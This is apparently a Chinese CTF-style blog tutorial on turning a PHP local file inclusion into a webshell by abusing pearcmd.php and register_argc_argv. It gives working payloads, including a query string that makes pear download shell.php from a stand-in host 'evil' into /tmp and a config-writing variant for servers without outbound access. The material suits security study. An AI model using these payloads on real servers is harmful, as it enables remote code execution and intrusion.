[web安全] 利用pearcmd.php从LFI到getshell

有一段时间没写blog了,主要是事多,加上学的有些迷茫,所以内耗比较大。害,沉下心好好学吧。

漏洞利用背景: 允许文件包含,但session等各种文件包含都已经被过滤了。ctf题中可以关注register_argc_argv,也算是个提示

环境准备

  • 安装php
apt-get install php7.4
  • 安装pear
apt-get install php-pear

[web安全] 利用pearcmd.php从LFI到getshell_第1张图片 安装成功

pear是什么?

PEAR就是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库 类似于composer,用于代码的下载与管理。

利用pear拉去远程代码

pear install -R /tmp http://evil:80/shell.php

[web安全] 利用pearcmd.php从LFI到getshell_第2张图片

register_argc_argv

php.ini默认为off,(当不存在下载的php中不存在php.ini时,默认为On)。

  • cli模式

不需要开启php.ini,即可通过$_SERVER['argv']获取命令行参数,和cmd一样 [web安全] 利用pearcmd.php从LFI到getshell_第3张图片

  • web模式

在web页模式下必须在php.ini开启register_argc_argv配置项 设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果 这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’] cli模式下的argv在web模式下不适用

该变量是对queryString以+号进行切割,而不是& image

[web安全] 利用pearcmd.php从LFI到getshell_第4张图片

register_argc_argv和pear的联系

#!/bin/sh

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
  PHP="$PHP_PEAR_PHP_BIN"
else
  if test "/usr/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/bin/php"
  fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/share/php" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/share/php"
    INCARG="-d include_path=/usr/share/php"
  fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

pear本质上就是个sh文件,上面是文件内容。 重点就是当执行了pear时,会将$_SERVER['argv']当作参数一起执行,从而自动拉取了指定的php文件

利用方法

当有存在有限制的文件包含漏洞时,利用该漏洞,先远程拉取恶意文件到/tmp等权限要求低的目录下,再利用文件包含

利用前提 1.开启了register_argc_argv 2.要有pear管理包 3.无basedir的限制 4.允许包含php文件

允许出网的情况

payload

file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://evil/shell.php

注意:并不是所有的pear都在该路径下,需要确保该php文件的位置。例如我的就在/usr/share下 image

但如果不允许出网的情况怎么办?

[web安全] 利用pearcmd.php从LFI到getshell_第5张图片

可以通过设置config,再将配置保存到指定文件

exp

pear -c /tmp/.feng.php -d man_dir= -s

利用如上

只能说还有很多地方需要学。。。

你可能感兴趣的:([web安全] 利用pearcmd.php从LFI到getshell)